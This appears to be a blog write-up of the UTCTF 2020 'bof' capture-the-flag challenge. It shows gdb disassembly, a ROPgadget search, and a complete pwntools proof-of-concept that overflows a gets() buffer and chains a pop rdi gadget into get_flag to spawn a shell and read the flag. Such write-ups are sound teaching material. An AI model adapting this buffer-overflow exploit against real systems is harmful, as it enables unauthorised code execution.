UTCTF 2020 — BOF

Craig Knott
3 min readMar 9, 2020

--

This presents a short solution to the BOF / Buffer Overflow challenge from the UTCTF 2020.

Challenge Description:

The challenge description only contained the following details:

bof

nc binary.utctf.live 9002

pwnable

From the title my first thought is that there exists a buffer overflow vulnerability within the pwnable binary and that the binary is running and serving requests on binary.utctf.live:9002.

To get started I want to get a bit more information about the binary.

$ file pwnable 
pwnable: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=017761d89d9e70fa132c5dca9e2de20a44672698, not stripped

I can see this is a 64-bit LSB ELF Executable. My next thought is to scan through and see if there is any interesting functions available.

$ readelf -a pwnable

I notice an interesting function called get_flag at 0x4005ea

$ readelf -a pwnable | grep flag
51: 00000000004005ea 65 FUNC GLOBAL DEFAULT 14 get_flag

The next thing I do is pull up gdb and inspect the main function and the get_flag function.

(gdb) disassemble main
Dump of assembler code for function main:
0x00000000004005b6 <+0>: push %rbp
0x00000000004005b7 <+1>: mov %rsp,%rbp
0x00000000004005ba <+4>: sub $0x70,%rsp
0x00000000004005be <+8>: mov $0x4006b8,%edi
0x00000000004005c3 <+13>: callq 0x400470 <puts@plt>
0x00000000004005c8 <+18>: lea -0x70(%rbp),%rax
0x00000000004005cc <+22>: mov %rax,%rdi
0x00000000004005cf <+25>: mov $0x0,%eax
0x00000000004005d4 <+30>: callq 0x4004a0 <gets@plt>
0x00000000004005d9 <+35>: mov $0x4006ea,%edi
0x00000000004005de <+40>: callq 0x400470 <puts@plt>
0x00000000004005e3 <+45>: mov $0x1,%eax
0x00000000004005e8 <+50>: leaveq
0x00000000004005e9 <+51>: retq
End of assembler dump.
(gdb) disassemble get_flag
Dump of assembler code for function get_flag:
0x00000000004005ea <+0>: push %rbp
0x00000000004005eb <+1>: mov %rsp,%rbp
0x00000000004005ee <+4>: sub $0x20,%rsp
0x00000000004005f2 <+8>: mov %edi,-0x14(%rbp)
0x00000000004005f5 <+11>: cmpl $0xdeadbeef,-0x14(%rbp)

0x00000000004005fc <+18>: jne 0x400628 <get_flag+62>
0x00000000004005fe <+20>: movq $0x400700,-0x10(%rbp)
0x0000000000400606 <+28>: movq $0x0,-0x8(%rbp)
0x000000000040060e <+36>: mov -0x10(%rbp),%rax
0x0000000000400612 <+40>: lea -0x10(%rbp),%rcx
0x0000000000400616 <+44>: mov $0x0,%edx
0x000000000040061b <+49>: mov %rcx,%rsi
0x000000000040061e <+52>: mov %rax,%rdi
0x0000000000400621 <+55>: callq 0x400490 <execve@plt>
0x0000000000400626 <+60>: jmp 0x400629 <get_flag+63>
0x0000000000400628 <+62>: nop
0x0000000000400629 <+63>: leaveq
0x000000000040062a <+64>: retq
End of assembler dump.

Based on the above it appears there will be an overflow after reading 0x70 (112 bytes) which overwriting %rbp with the next 8 bytes, after which it will return to the next address on the stack. So I can take control of the return pointer after 120 bytes of garbage. At this point our payload is looking something like the following:

payload = “A”*120 + <address I want to jump to>

Now I need to find a suitable address to jump to, I could search for a jmp %esp somewhere static unfortunately after searching a bit I was unable to find a useful command which could return me to execute any payload on the stack.

So I took a look at the get_flag function. It looks like it will execute /bin/sh command for me if I can have the process flow to the call to execve (/bin/sh is moved into place through the number of commands from 0x4005fe to 0x40061e). The problem is there is this comparison before the jne (0x4005fc) which will determine whether it skips the execution or not. In order for the comparison to come out true I need to insert 0xdeadbeef into %edi. I used ROPgadget again to search for any uses of edi or rdi which could help me get what I want.

$ ROPgadget --binary pwnable | grep "di"
0x000000000040050d : je 0x400528 ; pop rbp ; mov edi, 0x601048 ; jmp rax
0x000000000040055b : je 0x400570 ; pop rbp ; mov edi, 0x601048 ; jmp rax
0x0000000000400510 : mov edi, 0x601048 ; jmp rax
0x0000000000400677 : mov edi, edi ; call qword ptr [r12 + rbx*8]
0x0000000000400676 : mov edi, r15d ; call qword ptr [r12 + rbx*8]
0x000000000040050f : pop rbp ; mov edi, 0x601048 ; jmp rax
0x0000000000400693 : pop rdi ; ret

Looks like at 0x400693 there is a perfect command which will pop the next item on the stack into %rdi and then return to the next item on the stack after that. If I take advantage of that it should all come together giving me the following payload:

"A"*120 + b64(0x400693) + b64(0xdeadbeef) + b64(0x4005ea)

Putting it all together gives the following POC.

$ cat poc.pycat poc.py 
from pwn import *
#r = process('./pwnable')
r = remote('binary.utctf.live', 9002)
gadget1 = 0x00000000004005ea #geflag
gadget2 = 0x0000000000400693 #pop rdi; ret
beef = 0xdeadbeefdeadbeef
payload = "A"*120+p64(gadget2)+p64(beef)+p64(gadget1)
r.sendline(payload)
r.interactive()

Which when executed gives a shell.

$ python poc.py 
[+] Opening connection to binary.utctf.live on port 9002: Done
[*] Switching to interactive mode
I really like strings! Please give me a good one!
Thanks for the string
$ id
uid=1000(stackoverflow) gid=1000(stackoverflow) groups=1000(stackoverflow)
$ ls
flag.txt
$ cat flag.txt
utflag{thanks_for_the_string_!!!!!!}

--

--